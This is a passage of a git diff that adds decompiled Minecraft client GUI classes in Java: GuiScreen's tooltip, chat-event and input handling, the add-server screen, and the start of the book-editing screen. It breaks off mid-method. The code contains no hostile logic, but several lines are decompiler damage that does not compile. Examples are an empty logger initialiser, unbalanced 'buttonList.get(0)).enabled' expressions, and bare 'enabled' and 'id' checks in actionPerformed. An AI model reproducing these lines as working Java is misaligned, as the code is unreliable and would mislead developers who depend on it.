+        int var7 = fontRendererObj.getStringWidth(var6);
+        
+        if (var7 > var4)
+        {
+          var4 = var7;
+        }
+      }
+      
+      int var14 = x + 12;
+      int var15 = y - 12;
+      int var8 = 8;
+      
+      if (textLines.size() > 1)
+      {
+        var8 += 2 + (textLines.size() - 1) * 10;
+      }
+      
+      if (var14 + var4 > width)
+      {
+        var14 -= 28 + var4;
+      }
+      
+      if (var15 + var8 + 6 > height)
+      {
+        var15 = height - var8 - 6;
+      }
+      
+      zLevel = 300.0F;
+      itemRender.zLevel = 300.0F;
+      int var9 = -267386864;
+      drawGradientRect(var14 - 3, var15 - 4, var14 + var4 + 3, var15 - 3, var9, var9);
+      drawGradientRect(var14 - 3, var15 + var8 + 3, var14 + var4 + 3, var15 + var8 + 4, var9, var9);
+      drawGradientRect(var14 - 3, var15 - 3, var14 + var4 + 3, var15 + var8 + 3, var9, var9);
+      drawGradientRect(var14 - 4, var15 - 3, var14 - 3, var15 + var8 + 3, var9, var9);
+      drawGradientRect(var14 + var4 + 3, var15 - 3, var14 + var4 + 4, var15 + var8 + 3, var9, var9);
+      int var10 = 1347420415;
+      int var11 = (var10 & 0xFEFEFE) >> 1 | var10 & 0xFF000000;
+      drawGradientRect(var14 - 3, var15 - 3 + 1, var14 - 3 + 1, var15 + var8 + 3 - 1, var10, var11);
+      drawGradientRect(var14 + var4 + 2, var15 - 3 + 1, var14 + var4 + 3, var15 + var8 + 3 - 1, var10, var11);
+      drawGradientRect(var14 - 3, var15 - 3, var14 + var4 + 3, var15 - 3 + 1, var10, var10);
+      drawGradientRect(var14 - 3, var15 + var8 + 2, var14 + var4 + 3, var15 + var8 + 3, var11, var11);
+      
+      for (int var12 = 0; var12 < textLines.size(); var12++)
+      {
+        String var13 = (String)textLines.get(var12);
+        fontRendererObj.drawStringWithShadow(var13, var14, var15, -1);
+        
+        if (var12 == 0)
+        {
+          var15 += 2;
+        }
+        
+        var15 += 10;
+      }
+      
+      zLevel = 0.0F;
+      itemRender.zLevel = 0.0F;
+      GlStateManager.enableLighting();
+      GlStateManager.enableDepth();
+      RenderHelper.enableStandardItemLighting();
+      GlStateManager.enableRescaleNormal();
+    }
+  }
+  
+  protected void func_175272_a(IChatComponent p_175272_1_, int p_175272_2_, int p_175272_3_)
+  {
+    if ((p_175272_1_ != null) && (p_175272_1_.getChatStyle().getChatHoverEvent() != null))
+    {
+      HoverEvent var4 = p_175272_1_.getChatStyle().getChatHoverEvent();
+      
+      if (var4.getAction() == HoverEvent.Action.SHOW_ITEM)
+      {
+        ItemStack var5 = null;
+        
+        try
+        {
+          NBTTagCompound var6 = JsonToNBT.func_180713_a(var4.getValue().getUnformattedText());
+          
+          if ((var6 instanceof NBTTagCompound))
+          {
+            var5 = ItemStack.loadItemStackFromNBT(var6);
+          }
+        }
+        catch (NBTException localNBTException1) {}
+        
+
+
+
+        if (var5 != null)
+        {
+          renderToolTip(var5, p_175272_2_, p_175272_3_);
+        }
+        else
+        {
+          drawCreativeTabHoveringText(EnumChatFormatting.RED + "Invalid Item!", p_175272_2_, p_175272_3_);
+
+        }
+        
+
+
+      }
+      else if (var4.getAction() == HoverEvent.Action.SHOW_ENTITY)
+      {
+        if (mc.gameSettings.advancedItemTooltips)
+        {
+          try
+          {
+            NBTTagCompound var12 = JsonToNBT.func_180713_a(var4.getValue().getUnformattedText());
+            
+            if ((var12 instanceof NBTTagCompound))
+            {
+              ArrayList var14 = Lists.newArrayList();
+              NBTTagCompound var7 = var12;
+              var14.add(var7.getString("name"));
+              
+              if (var7.hasKey("type", 8))
+              {
+                String var8 = var7.getString("type");
+                var14.add("Type: " + var8 + " (" + net.minecraft.entity.EntityList.func_180122_a(var8) + ")");
+              }
+              
+              var14.add(var7.getString("id"));
+              drawHoveringText(var14, p_175272_2_, p_175272_3_);
+            }
+            else
+            {
+              drawCreativeTabHoveringText(EnumChatFormatting.RED + "Invalid Entity!", p_175272_2_, p_175272_3_);
+            }
+          }
+          catch (NBTException var10)
+          {
+            drawCreativeTabHoveringText(EnumChatFormatting.RED + "Invalid Entity!", p_175272_2_, p_175272_3_);
+          }
+        }
+      }
+      else if (var4.getAction() == HoverEvent.Action.SHOW_TEXT)
+      {
+        drawHoveringText(field_175285_g.splitToList(var4.getValue().getFormattedText()), p_175272_2_, p_175272_3_);
+      }
+      else if (var4.getAction() == HoverEvent.Action.SHOW_ACHIEVEMENT)
+      {
+        StatBase var13 = net.minecraft.stats.StatList.getOneShotStat(var4.getValue().getUnformattedText());
+        
+        if (var13 != null)
+        {
+          IChatComponent var15 = var13.getStatName();
+          ChatComponentTranslation var16 = new ChatComponentTranslation("stats.tooltip.type." + (var13.isAchievement() ? "achievement" : "statistic"), new Object[0]);
+          var16.getChatStyle().setItalic(Boolean.valueOf(true));
+          String var8 = (var13 instanceof Achievement) ? ((Achievement)var13).getDescription() : null;
+          ArrayList var9 = Lists.newArrayList(new String[] { var15.getFormattedText(), var16.getFormattedText() });
+          
+          if (var8 != null)
+          {
+            var9.addAll(fontRendererObj.listFormattedStringToWidth(var8, 150));
+          }
+          
+          drawHoveringText(var9, p_175272_2_, p_175272_3_);
+        }
+        else
+        {
+          drawCreativeTabHoveringText(EnumChatFormatting.RED + "Invalid statistic/achievement!", p_175272_2_, p_175272_3_);
+        }
+      }
+      
+
+      GlStateManager.disableLighting();
+    }
+  }
+  
+  protected void func_175274_a(String p_175274_1_, boolean p_175274_2_) {}
+  
+  protected boolean func_175276_a(IChatComponent p_175276_1_)
+  {
+    if (p_175276_1_ == null)
+    {
+      return false;
+    }
+    
+
+    ClickEvent var2 = p_175276_1_.getChatStyle().getChatClickEvent();
+    
+    if (isShiftKeyDown())
+    {
+      if (p_175276_1_.getChatStyle().getInsertion() != null)
+      {
+        func_175274_a(p_175276_1_.getChatStyle().getInsertion(), false);
+      }
+    }
+    else if (var2 != null)
+    {
+
+
+      if (var2.getAction() == ClickEvent.Action.OPEN_URL)
+      {
+        if (!mc.gameSettings.chatLinks)
+        {
+          return false;
+        }
+        
+        try
+        {
+          URI var3 = new URI(var2.getValue());
+          
+          if (!field_175284_f.contains(var3.getScheme().toLowerCase()))
+          {
+            throw new URISyntaxException(var2.getValue(), "Unsupported protocol: " + var3.getScheme().toLowerCase());
+          }
+          
+          if (mc.gameSettings.chatLinksPrompt)
+          {
+            field_175286_t = var3;
+            mc.displayGuiScreen(new GuiConfirmOpenLink(this, var2.getValue(), 31102009, false));
+          }
+          else
+          {
+            func_175282_a(var3);
+          }
+        }
+        catch (URISyntaxException var4)
+        {
+          field_175287_a.error("Can't open url for " + var2, var4);
+        }
+      }
+      else if (var2.getAction() == ClickEvent.Action.OPEN_FILE)
+      {
+        URI var3 = new File(var2.getValue()).toURI();
+        func_175282_a(var3);
+      }
+      else if (var2.getAction() == ClickEvent.Action.SUGGEST_COMMAND)
+      {
+        func_175274_a(var2.getValue(), true);
+      }
+      else if (var2.getAction() == ClickEvent.Action.RUN_COMMAND)
+      {
+        func_175281_b(var2.getValue(), false);
+      }
+      else if (var2.getAction() == ClickEvent.Action.TWITCH_USER_INFO)
+      {
+        tv.twitch.chat.ChatUserInfo var5 = mc.getTwitchStream().func_152926_a(var2.getValue());
+        
+        if (var5 != null)
+        {
+          mc.displayGuiScreen(new net.minecraft.client.gui.stream.GuiTwitchUserMode(mc.getTwitchStream(), var5));
+        }
+        else
+        {
+          field_175287_a.error("Tried to handle twitch user but couldn't find them!");
+        }
+      }
+      else
+      {
+        field_175287_a.error("Don't know how to handle " + var2);
+      }
+      
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+  public void func_175275_f(String p_175275_1_)
+  {
+    func_175281_b(p_175275_1_, true);
+  }
+  
+  public void func_175281_b(String p_175281_1_, boolean p_175281_2_)
+  {
+    if (p_175281_2_)
+    {
+      mc.ingameGUI.getChatGUI().addToSentMessages(p_175281_1_);
+    }
+    
+    mc.thePlayer.sendChatMessage(p_175281_1_);
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    if (mouseButton == 0)
+    {
+      for (int var4 = 0; var4 < buttonList.size(); var4++)
+      {
+        GuiButton var5 = (GuiButton)buttonList.get(var4);
+        
+        if (var5.mousePressed(mc, mouseX, mouseY))
+        {
+          selectedButton = var5;
+          var5.playPressSound(mc.getSoundHandler());
+          actionPerformed(var5);
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected void mouseReleased(int mouseX, int mouseY, int state)
+  {
+    if ((selectedButton != null) && (state == 0))
+    {
+      selectedButton.mouseReleased(mouseX, mouseY);
+      selectedButton = null;
+    }
+  }
+  
+
+
+  protected void mouseClickMove(int mouseX, int mouseY, int clickedMouseButton, long timeSinceLastClick) {}
+  
+
+
+  protected void actionPerformed(GuiButton button)
+    throws IOException
+  {}
+  
+
+
+  public void setWorldAndResolution(Minecraft mc, int width, int height)
+  {
+    this.mc = mc;
+    itemRender = mc.getRenderItem();
+    fontRendererObj = fontRendererObj;
+    this.width = width;
+    this.height = height;
+    buttonList.clear();
+    initGui();
+  }
+  
+
+
+
+  public void initGui() {}
+  
+
+
+  public void handleInput()
+    throws IOException
+  {
+    if (Mouse.isCreated())
+    {
+      while (Mouse.next())
+      {
+        handleMouseInput();
+      }
+    }
+    
+    if (Keyboard.isCreated())
+    {
+      while (Keyboard.next())
+      {
+        handleKeyboardInput();
+      }
+    }
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    int var1 = Mouse.getEventX() * width / mc.displayWidth;
+    int var2 = height - Mouse.getEventY() * height / mc.displayHeight - 1;
+    int var3 = Mouse.getEventButton();
+    
+    if (Mouse.getEventButtonState())
+    {
+      if ((mc.gameSettings.touchscreen) && (touchValue++ > 0))
+      {
+        return;
+      }
+      
+      eventButton = var3;
+      lastMouseEvent = Minecraft.getSystemTime();
+      mouseClicked(var1, var2, eventButton);
+    }
+    else if (var3 != -1)
+    {
+      if ((mc.gameSettings.touchscreen) && (--touchValue > 0))
+      {
+        return;
+      }
+      
+      eventButton = -1;
+      mouseReleased(var1, var2, var3);
+    }
+    else if ((eventButton != -1) && (lastMouseEvent > 0L))
+    {
+      long var4 = Minecraft.getSystemTime() - lastMouseEvent;
+      mouseClickMove(var1, var2, eventButton, var4);
+    }
+  }
+  
+
+
+  public void handleKeyboardInput()
+    throws IOException
+  {
+    if (Keyboard.getEventKeyState())
+    {
+      keyTyped(Keyboard.getEventCharacter(), Keyboard.getEventKey());
+    }
+    
+    mc.dispatchKeypresses();
+  }
+  
+
+
+
+  public void updateScreen() {}
+  
+
+
+
+  public void onGuiClosed() {}
+  
+
+
+
+  public void drawDefaultBackground()
+  {
+    drawWorldBackground(0);
+  }
+  
+  public void drawWorldBackground(int tint)
+  {
+    if (mc.theWorld != null)
+    {
+      drawGradientRect(0, 0, width, height, -1072689136, -804253680);
+    }
+    else
+    {
+      drawBackground(tint);
+    }
+  }
+  
+
+
+
+  public void drawBackground(int tint)
+  {
+    GlStateManager.disableLighting();
+    GlStateManager.disableFog();
+    Tessellator var2 = Tessellator.getInstance();
+    WorldRenderer var3 = var2.getWorldRenderer();
+    mc.getTextureManager().bindTexture(optionsBackground);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    float var4 = 32.0F;
+    var3.startDrawingQuads();
+    var3.func_178991_c(4210752);
+    var3.addVertexWithUV(0.0D, height, 0.0D, 0.0D, height / var4 + tint);
+    var3.addVertexWithUV(width, height, 0.0D, width / var4, height / var4 + tint);
+    var3.addVertexWithUV(width, 0.0D, 0.0D, width / var4, tint);
+    var3.addVertexWithUV(0.0D, 0.0D, 0.0D, 0.0D, tint);
+    var2.draw();
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return true;
+  }
+  
+  public void confirmClicked(boolean result, int id)
+  {
+    if (id == 31102009)
+    {
+      if (result)
+      {
+        func_175282_a(field_175286_t);
+      }
+      
+      field_175286_t = null;
+      mc.displayGuiScreen(this);
+    }
+  }
+  
+  private void func_175282_a(URI p_175282_1_)
+  {
+    try
+    {
+      Class var2 = Class.forName("java.awt.Desktop");
+      Object var3 = var2.getMethod("getDesktop", new Class[0]).invoke(null, new Object[0]);
+      var2.getMethod("browse", new Class[] { URI.class }).invoke(var3, new Object[] { p_175282_1_ });
+    }
+    catch (Throwable var4)
+    {
+      field_175287_a.error("Couldn't open link", var4);
+    }
+  }
+  
+
+
+
+  public static boolean isCtrlKeyDown()
+  {
+    return (Keyboard.isKeyDown(219)) || (Keyboard.isKeyDown(220));
+  }
+  
+
+
+
+  public static boolean isShiftKeyDown()
+  {
+    return (Keyboard.isKeyDown(42)) || (Keyboard.isKeyDown(54));
+  }
+  
+  public static boolean func_175283_s()
+  {
+    return (Keyboard.isKeyDown(56)) || (Keyboard.isKeyDown(184));
+  }
+  
+  public static boolean func_175277_d(int p_175277_0_)
+  {
+    return (p_175277_0_ == 45) && (isCtrlKeyDown());
+  }
+  
+  public static boolean func_175279_e(int p_175279_0_)
+  {
+    return (p_175279_0_ == 47) && (isCtrlKeyDown());
+  }
+  
+  public static boolean func_175280_f(int p_175280_0_)
+  {
+    return (p_175280_0_ == 46) && (isCtrlKeyDown());
+  }
+  
+  public static boolean func_175278_g(int p_175278_0_)
+  {
+    return (p_175278_0_ == 30) && (isCtrlKeyDown());
+  }
+  
+  public void func_175273_b(Minecraft mcIn, int p_175273_2_, int p_175273_3_)
+  {
+    setWorldAndResolution(mcIn, p_175273_2_, p_175273_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenAddServer.java b/src/minecraft/net/minecraft/client/gui/GuiScreenAddServer.java
new file mode 100644
index 0000000..6eb99e7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenAddServer.java
@@ -0,0 +1,127 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.client.resources.I18n;
+
+public class GuiScreenAddServer extends GuiScreen
+{
+  private final GuiScreen parentScreen;
+  private final ServerData serverData;
+  private GuiTextField serverIPField;
+  private GuiTextField serverNameField;
+  private GuiButton serverResourcePacks;
+  private static final String __OBFID = "CL_00000695";
+  
+  public GuiScreenAddServer(GuiScreen p_i1033_1_, ServerData p_i1033_2_)
+  {
+    parentScreen = p_i1033_1_;
+    serverData = p_i1033_2_;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    serverNameField.updateCursorCounter();
+    serverIPField.updateCursorCounter();
+  }
+  
+
+
+
+  public void initGui()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonList.clear();
+    buttonList.add(new GuiButton(0, width / 2 - 100, height / 4 + 96 + 18, I18n.format("addServer.add", new Object[0])));
+    buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 120 + 18, I18n.format("gui.cancel", new Object[0])));
+    buttonList.add(this.serverResourcePacks = new GuiButton(2, width / 2 - 100, height / 4 + 72, I18n.format("addServer.resourcePack", new Object[0]) + ": " + serverData.getResourceMode().getMotd().getFormattedText()));
+    serverNameField = new GuiTextField(0, fontRendererObj, width / 2 - 100, 66, 200, 20);
+    serverNameField.setFocused(true);
+    serverNameField.setText(serverData.serverName);
+    serverIPField = new GuiTextField(1, fontRendererObj, width / 2 - 100, 106, 200, 20);
+    serverIPField.setMaxStringLength(128);
+    serverIPField.setText(serverData.serverIP);
+    buttonList.get(0)).enabled = ((serverIPField.getText().length() > 0) && (serverIPField.getText().split(":").length > 0) && (serverNameField.getText().length() > 0));
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 2)
+      {
+        serverData.setResourceMode(net.minecraft.client.multiplayer.ServerData.ServerResourceMode.values()[((serverData.getResourceMode().ordinal() + 1) % net.minecraft.client.multiplayer.ServerData.ServerResourceMode.values().length)]);
+        serverResourcePacks.displayString = (I18n.format("addServer.resourcePack", new Object[0]) + ": " + serverData.getResourceMode().getMotd().getFormattedText());
+      }
+      else if (id == 1)
+      {
+        parentScreen.confirmClicked(false, 0);
+      }
+      else if (id == 0)
+      {
+        serverData.serverName = serverNameField.getText();
+        serverData.serverIP = serverIPField.getText();
+        parentScreen.confirmClicked(true, 0);
+      }
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    serverNameField.textboxKeyTyped(typedChar, keyCode);
+    serverIPField.textboxKeyTyped(typedChar, keyCode);
+    
+    if (keyCode == 15)
+    {
+      serverNameField.setFocused(!serverNameField.isFocused());
+      serverIPField.setFocused(!serverIPField.isFocused());
+    }
+    
+    if ((keyCode == 28) || (keyCode == 156))
+    {
+      actionPerformed((GuiButton)buttonList.get(0));
+    }
+    
+    buttonList.get(0)).enabled = ((serverIPField.getText().length() > 0) && (serverIPField.getText().split(":").length > 0) && (serverNameField.getText().length() > 0));
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    serverIPField.mouseClicked(mouseX, mouseY, mouseButton);
+    serverNameField.mouseClicked(mouseX, mouseY, mouseButton);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, I18n.format("addServer.title", new Object[0]), width / 2, 17, 16777215);
+    drawString(fontRendererObj, I18n.format("addServer.enterName", new Object[0]), width / 2 - 100, 53, 10526880);
+    drawString(fontRendererObj, I18n.format("addServer.enterIp", new Object[0]), width / 2 - 100, 94, 10526880);
+    serverNameField.drawTextBox();
+    serverIPField.drawTextBox();
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiScreenBook.java b/src/minecraft/net/minecraft/client/gui/GuiScreenBook.java
new file mode 100644
index 0000000..d4feb7e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiScreenBook.java
@@ -0,0 +1,676 @@
+package net.minecraft.client.gui;
+
+import com.google.gson.JsonParseException;
+import io.netty.buffer.Unpooled;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.event.ClickEvent;
+import net.minecraft.event.ClickEvent.Action;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.nbt.NBTTagString;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.util.ChatAllowedCharacters;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+import org.lwjgl.input.Keyboard;
+
+public class GuiScreenBook extends GuiScreen
+{
+  private static final org.apache.logging.log4j.Logger logger = ;
+  private static final ResourceLocation bookGuiTextures = new ResourceLocation("textures/gui/book.png");
+  
+
+  private final EntityPlayer editingPlayer;
+  
+
+  private final ItemStack bookObj;
+  
+
+  private final boolean bookIsUnsigned;
+  
+
+  private boolean bookIsModified;
+  
+
+  private boolean bookGettingSigned;
+  
+  private int updateCount;
+  
+  private int bookImageWidth = 192;
+  private int bookImageHeight = 192;
+  private int bookTotalPages = 1;
+  private int currPage;
+  private NBTTagList bookPages;
+  private String bookTitle = "";
+  private List field_175386_A;
+  private int field_175387_B = -1;
+  
+  private NextPageButton buttonNextPage;
+  
+  private NextPageButton buttonPreviousPage;
+  private GuiButton buttonDone;
+  private GuiButton buttonSign;
+  private GuiButton buttonFinalize;
+  private GuiButton buttonCancel;
+  private static final String __OBFID = "CL_00000744";
+  
+  public GuiScreenBook(EntityPlayer p_i1080_1_, ItemStack p_i1080_2_, boolean p_i1080_3_)
+  {
+    editingPlayer = p_i1080_1_;
+    bookObj = p_i1080_2_;
+    bookIsUnsigned = p_i1080_3_;
+    
+    if (p_i1080_2_.hasTagCompound())
+    {
+      NBTTagCompound var4 = p_i1080_2_.getTagCompound();
+      bookPages = var4.getTagList("pages", 8);
+      
+      if (bookPages != null)
+      {
+        bookPages = ((NBTTagList)bookPages.copy());
+        bookTotalPages = bookPages.tagCount();
+        
+        if (bookTotalPages < 1)
+        {
+          bookTotalPages = 1;
+        }
+      }
+    }
+    
+    if ((bookPages == null) && (p_i1080_3_))
+    {
+      bookPages = new NBTTagList();
+      bookPages.appendTag(new NBTTagString(""));
+      bookTotalPages = 1;
+    }
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    updateCount += 1;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    Keyboard.enableRepeatEvents(true);
+    
+    if (bookIsUnsigned)
+    {
+      buttonList.add(this.buttonSign = new GuiButton(3, width / 2 - 100, 4 + bookImageHeight, 98, 20, I18n.format("book.signButton", new Object[0])));
+      buttonList.add(this.buttonDone = new GuiButton(0, width / 2 + 2, 4 + bookImageHeight, 98, 20, I18n.format("gui.done", new Object[0])));
+      buttonList.add(this.buttonFinalize = new GuiButton(5, width / 2 - 100, 4 + bookImageHeight, 98, 20, I18n.format("book.finalizeButton", new Object[0])));
+      buttonList.add(this.buttonCancel = new GuiButton(4, width / 2 + 2, 4 + bookImageHeight, 98, 20, I18n.format("gui.cancel", new Object[0])));
+    }
+    else
+    {
+      buttonList.add(this.buttonDone = new GuiButton(0, width / 2 - 100, 4 + bookImageHeight, 200, 20, I18n.format("gui.done", new Object[0])));
+    }
+    
+    int var1 = (width - bookImageWidth) / 2;
+    byte var2 = 2;
+    buttonList.add(this.buttonNextPage = new NextPageButton(1, var1 + 120, var2 + 154, true));
+    buttonList.add(this.buttonPreviousPage = new NextPageButton(2, var1 + 38, var2 + 154, false));
+    updateButtons();
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  private void updateButtons()
+  {
+    buttonNextPage.visible = ((!bookGettingSigned) && ((currPage < bookTotalPages - 1) || (bookIsUnsigned)));
+    buttonPreviousPage.visible = ((!bookGettingSigned) && (currPage > 0));
+    buttonDone.visible = ((!bookIsUnsigned) || (!bookGettingSigned));
+    
+    if (bookIsUnsigned)
+    {
+      buttonSign.visible = (!bookGettingSigned);
+      buttonCancel.visible = bookGettingSigned;
+      buttonFinalize.visible = bookGettingSigned;
+      buttonFinalize.enabled = (bookTitle.trim().length() > 0);
+    }
+  }
+  
+  private void sendBookToServer(boolean p_146462_1_) throws IOException
+  {
+    if ((bookIsUnsigned) && (bookIsModified))
+    {
+      if (bookPages != null)
+      {
+
+
+        while (bookPages.tagCount() > 1)
+        {
+          String var2 = bookPages.getStringTagAt(bookPages.tagCount() - 1);
+          
+          if (var2.length() != 0) {
+            break;
+          }
+          
+
+          bookPages.removeTag(bookPages.tagCount() - 1);
+        }
+        
+        if (bookObj.hasTagCompound())
+        {
+          NBTTagCompound var6 = bookObj.getTagCompound();
+          var6.setTag("pages", bookPages);
+        }
+        else
+        {
+          bookObj.setTagInfo("pages", bookPages);
+        }
+        
+        String var2 = "MC|BEdit";
+        
+        if (p_146462_1_)
+        {
+          var2 = "MC|BSign";
+          bookObj.setTagInfo("author", new NBTTagString(editingPlayer.getName()));
+          bookObj.setTagInfo("title", new NBTTagString(bookTitle.trim()));
+          
+          for (int var3 = 0; var3 < bookPages.tagCount(); var3++)
+          {
+            String var4 = bookPages.getStringTagAt(var3);
+            ChatComponentText var5 = new ChatComponentText(var4);
+            var4 = IChatComponent.Serializer.componentToJson(var5);
+            bookPages.set(var3, new NBTTagString(var4));
+          }
+          
+          bookObj.setItem(net.minecraft.init.Items.written_book);
+        }
+        
+        PacketBuffer var7 = new PacketBuffer(Unpooled.buffer());
+        var7.writeItemStackToBuffer(bookObj);
+        mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload(var2, var7));
+      }
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 0)
+      {
+        mc.displayGuiScreen(null);
+        sendBookToServer(false);
+      }
+      else if ((id == 3) && (bookIsUnsigned))
+      {
+        bookGettingSigned = true;
+      }
+      else if (id == 1)
+      {
+        if (currPage < bookTotalPages - 1)
+        {
+          currPage += 1;
+        }
+        else if (bookIsUnsigned)
+        {
+          addNewPage();
+          
+          if (currPage < bookTotalPages - 1)
+          {
+            currPage += 1;
+          }
+        }
+      }
+      else if (id == 2)
+      {
+        if (currPage > 0)
+        {
+          currPage -= 1;
+        }
+      }
+      else if ((id == 5) && (bookGettingSigned))
+      {
+        sendBookToServer(true);
+        mc.displayGuiScreen(null);
+      }
+      else if ((id == 4) && (bookGettingSigned))
+      {
+        bookGettingSigned = false;
+      }
+      
+      updateButtons();
+    }
+  }
+  
+  private void addNewPage()
+  {
+    if ((bookPages != null) && (bookPages.tagCount() < 50))
+    {
+      bookPages.appendTag(new NBTTagString(""));
+      bookTotalPages += 1;
+      bookIsModified = true;
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    super.keyTyped(typedChar, keyCode);
+    
+    if (bookIsUnsigned)
+    {
+      if (bookGettingSigned)
+      {
+        keyTypedInTitle(typedChar, keyCode);
+      }
+      else
+      {
+        keyTypedInBook(typedChar, keyCode);
+      }
+    }
+  }
+  
+
+
+
+  private void keyTypedInBook(char p_146463_1_, int p_146463_2_)
+  {
+    if (GuiScreen.func_175279_e(p_146463_2_))
+    {
+      pageInsertIntoCurrent(GuiScreen.getClipboardString());
+    }
+    else
+    {
+      switch (p_146463_2_)
+      {
+      case 14: 
+        String var3 = pageGetCurrent();
+        
+        if (var3.length() > 0)
+        {
+          pageSetCurrent(var3.substring(0, var3.length() - 1));
+        }
+        
+        return;
+      
+      case 28: 
+      case 156: 
+        pageInsertIntoCurrent("\n");
+        return;
+      }
+      
+      if (ChatAllowedCharacters.isAllowedCharacter(p_146463_1_))
+      {
+        pageInsertIntoCurrent(Character.toString(p_146463_1_));
+      }
+    }
+  }
+  
+
+
+
+  private void keyTypedInTitle(char p_146460_1_, int p_146460_2_)
+    throws IOException
+  {
+    switch (p_146460_2_)
+    {
+    case 14: 
+      if (!bookTitle.isEmpty())
+      {
+        bookTitle = bookTitle.substring(0, bookTitle.length() - 1);
+        updateButtons();
+      }
+      
+      return;
+    
+    case 28: 
+    case 156: 
+      if (!bookTitle.isEmpty())
+      {
+        sendBookToServer(true);
+        mc.displayGuiScreen(null);
+      }
+      
+      return;
+    }
+    
+    if ((bookTitle.length() < 16) && (ChatAllowedCharacters.isAllowedCharacter(p_146460_1_)))
+    {
+      bookTitle += Character.toString(p_146460_1_);
+      updateButtons();
+      bookIsModified = true;
+    }
+  }
+  
+
+
+
+
+  private String pageGetCurrent()
+  {
+    return (bookPages != null) && (currPage >= 0) && (currPage < bookPages.tagCount()) ? bookPages.getStringTagAt(currPage) : "";
+  }
+  
+
+
+
+  private void pageSetCurrent(String p_146457_1_)
+  {
+    if ((bookPages != null) && (currPage >= 0) && (currPage < bookPages.tagCount()))
+    {
+      bookPages.set(currPage, new NBTTagString(p_146457_1_));
+      bookIsModified = true;
+    }
+  }
+  
+
+
+
+  private void pageInsertIntoCurrent(String p_146459_1_)
+  {
+    String var2 = pageGetCurrent();
+    String var3 = var2 + p_146459_1_;
+    int var4 = fontRendererObj.splitStringWidth(var3 + EnumChatFormatting.BLACK + "_", 118);
+    
+    if ((var4 <= 128) && (var3.length() < 256))
+    {
+      pageSetCurrent(var3);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(bookGuiTextures);
+    int var4 = (width - bookImageWidth) / 2;
+    byte var5 = 2;
+    drawTexturedModalRect(var4, var5, 0, 0, bookImageWidth, bookImageHeight);
+    
+
+
+
+
+    if (bookGettingSigned)
+    {
+      String var6 = bookTitle;
+      
+      if (bookIsUnsigned)
+      {
+        if (updateCount / 6 % 2 == 0)
+        {
+          var6 = var6 + EnumChatFormatting.BLACK + "_";
+        }
+        else
+        {
+          var6 = var6 + EnumChatFormatting.GRAY + "_";
+        }
+      }
+      
+      String var7 = I18n.format("book.editTitle", new Object[0]);
+      int var8 = fontRendererObj.getStringWidth(var7);
+      fontRendererObj.drawString(var7, var4 + 36 + (116 - var8) / 2, var5 + 16 + 16, 0);
+      int var9 = fontRendererObj.getStringWidth(var6);
+      fontRendererObj.drawString(var6, var4 + 36 + (116 - var9) / 2, var5 + 48, 0);
+      String var10 = I18n.format("book.byAuthor", new Object[] { editingPlayer.getName() });
+      int var11 = fontRendererObj.getStringWidth(var10);
+      fontRendererObj.drawString(EnumChatFormatting.DARK_GRAY + var10, var4 + 36 + (116 - var11) / 2, var5 + 48 + 10, 0);
+      String var12 = I18n.format("book.finalizeWarning", new Object[0]);
+      fontRendererObj.drawSplitString(var12, var4 + 36, var5 + 80, 116, 0);
+    }
+    else
+    {
+      String var6 = I18n.format("book.pageIndicator", new Object[] { Integer.valueOf(currPage + 1), Integer.valueOf(bookTotalPages) });
+      String var7 = "";
+      
